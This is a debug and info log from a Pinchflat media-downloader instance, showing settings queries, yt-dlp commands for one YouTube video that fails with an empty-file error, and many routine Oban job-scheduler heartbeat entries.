idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:39.427 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:39.427 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/de/2b/de2bf91bac084d90fd647a37745a42bf09a56a1c573b4d6e5fd9f675e41c7696.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:59:43.321 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/de/2b/de2bf91bac084d90fd647a37745a42bf09a56a1c573b4d6e5fd9f675e41c7696.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:59:43.321 [debug] Running yt-dlp command for action: download 00:59:43.321 [debug] QUERY OK source="settings" db=0.1ms idle=901.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:43.321 [debug] QUERY OK source="settings" db=0.0ms idle=798.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:43.321 [debug] QUERY OK source="settings" db=0.1ms idle=798.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:43.322 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2e/f1/2ef1c3dd4509e7b9c70c987661224cbc82754b7f205aaf7e52ec81303b4662f5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:59:50.862 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.329 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:00:20.864 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:50.865 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.330 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:01:20.866 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:50.868 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.331 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:02:20.870 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:50.871 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.332 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:03:20.872 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:50.873 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.333 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:04:20.874 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:43.638 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2e/f1/2ef1c3dd4509e7b9c70c987661224cbc82754b7f205aaf7e52ec81303b4662f5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 01:04:43.638 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 01:04:43.638 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":304214788,"event":"job:exception","queue_time":603042,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 01:04:50.875 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.334 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:05:20.877 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:50.878 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.336 [info] {"source":"oban","duration":298,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:06:20.879 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:50.880 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.336 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:07:20.882 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:50.883 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.337 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:08:20.884 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:50.886 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.338 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:09:20.888 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:50.890 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.339 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:10:20.892 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:50.893 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.340 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:11:20.894 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:50.895 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.341 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:12:20.896 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:50.898 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.342 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:13:20.899 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:50.900 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.343 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:14:20.901 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:50.902 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.344 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:15:20.903 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:50.904 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.345 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:16:20.905 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:50.907 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.346 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:17:20.908 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:50.909 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.347 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:18:20.910 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:50.911 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.348 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:19:20.912 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:50.913 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.349 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:20:20.914 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:50.915 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.350 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:21:20.916 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:50.917 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.351 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:22:20.917 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:50.919 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.352 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:23:20.920 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:50.921 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.353 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:24:20.923 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:50.925 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.355 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:25:20.926 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:50.928 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.355 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:26:20.929 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:50.930 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.356 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:27:20.931 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:50.932 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.357 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:28:20.933 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:50.935 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.358 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:29:20.937 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:50.938 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.360 [info] {"source":"oban","duration":341,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:30:20.940 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:50.942 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.360 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:31:20.943 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:50.944 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.361 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:32:20.945 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:50.946 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.362 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:33:20.948 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:50.949 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.363 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:34:20.950 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:50.951 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.364 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:35:20.952 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:50.953 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.365 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:36:20.954 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:50.955 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.366 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:37:20.956 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:50.957 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.367 [info] {"source":"oban","duration":325,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:38:20.958 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:50.959 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.368 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:39:20.960 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:50.961 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.369 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:40:20.962 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:50.963 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.370 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:41:20.964 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:50.966 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.371 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:42:20.968 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:50.969 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.372 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:43:20.970 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:50.971 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.373 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:44:20.972 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:50.973 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.374 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:45:20.974 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:50.976 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.375 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:46:20.978 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:50.979 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.376 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:47:20.980 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:50.981 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.377 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:48:20.983 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:50.985 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.378 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:49:20.986 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:50.987 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.379 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:50:20.988 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:50.989 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.380 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:51:20.990 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:50.991 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.381 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:52:20.992 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:50.993 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.382 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:53:20.994 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:50.995 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.383 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:54:20.996 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:50.998 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.384 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:55:20.999 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:51.000 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.385 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:56:21.001 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:51.002 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.386 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:57:21.003 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:51.004 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.387 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:58:21.005 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:51.007 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.388 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:59:21.008 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:51.009 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.389 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:00:21.010 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:51.011 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.390 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:01:21.012 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:51.014 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.391 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:02:21.015 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:51.016 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.392 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:03:21.017 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:51.018 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.393 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:04:21.019 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:51.020 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.394 [info] 